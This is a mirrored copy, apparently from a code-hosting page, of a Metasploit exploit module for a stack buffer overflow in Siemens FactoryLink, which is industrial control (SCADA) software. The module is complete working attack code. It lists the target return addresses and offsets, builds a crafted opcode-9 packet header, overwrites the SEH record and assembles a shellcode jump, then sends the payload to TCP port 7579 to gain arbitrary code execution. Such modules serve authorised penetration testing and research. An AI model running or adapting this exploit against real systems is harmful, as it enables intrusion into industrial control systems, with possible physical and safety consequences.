Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/factorylink_vrn_09.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'Siemens FactoryLink vrn.exe Opcode 9 Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2,16and 8.0.1.703. By sending a specially crafted packet, an attacker may be able to17execute arbitrary code due to the improper use of a vsprintf() function while18processing the user-supplied text field. Originally found and posted by19Luigi Auriemma.20},21'Author' =>22[23'Luigi Auriemma', # Public exploit24'hal', # Metasploit module25'MC', # SEH, badchars, etc26],27'License' => MSF_LICENSE,28'References' =>29[30['OSVDB', '72815'],31['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt'],32['URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-091-01']33],34'Privileged' => true,35'DefaultOptions' =>36{37'EXITFUNC' => 'seh',38},39'Payload' =>40{41'Space' => 550,42'BadChars' => "\x00\x20\x0a\x0d",43'StackAdjustment' => -3500,44},45'Platform' => 'win',46'Targets' =>47[48[ 'FactoryLink 7.5', { 'Ret' => 0x1c0106ac, 'Offset' => 994 } ],49[ 'FactoryLink 7.5 SP2', { 'Ret' => 0x1c01069c, 'Offset' => 994 } ],50[ 'FactoryLink 8.0.1.703', { 'Ret' => 0x1c01087c, 'Offset' => 998 } ],51],52'DisclosureDate' => '2011-03-21'))5354register_options([Opt::RPORT(7579)])55end5657def exploit5859header = "\x3f" * 460header << "\xff\x55"61header << "\x09\x00" # opcode62header << "\x3f\x3f\xff\xff"63header << "\x00\x00\x3f\x3f"64header << "\x01\x00"65header << "\x3f" * 1666header << "\x01\x00\x01\x00"67header << "\x3f\x3f"6869data = rand_text_alpha_upper(65535)70data[448, payload.encoded.length] = payload.encoded71data[target['Offset'], 8] = generate_seh_record(target.ret)72data[1006, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-524").encode_string7374print_status("Trying target #{target.name}...")7576connect77sock.put(header + data)7879handler8081select(nil,nil,nil,1)82disconnect8384end85end868788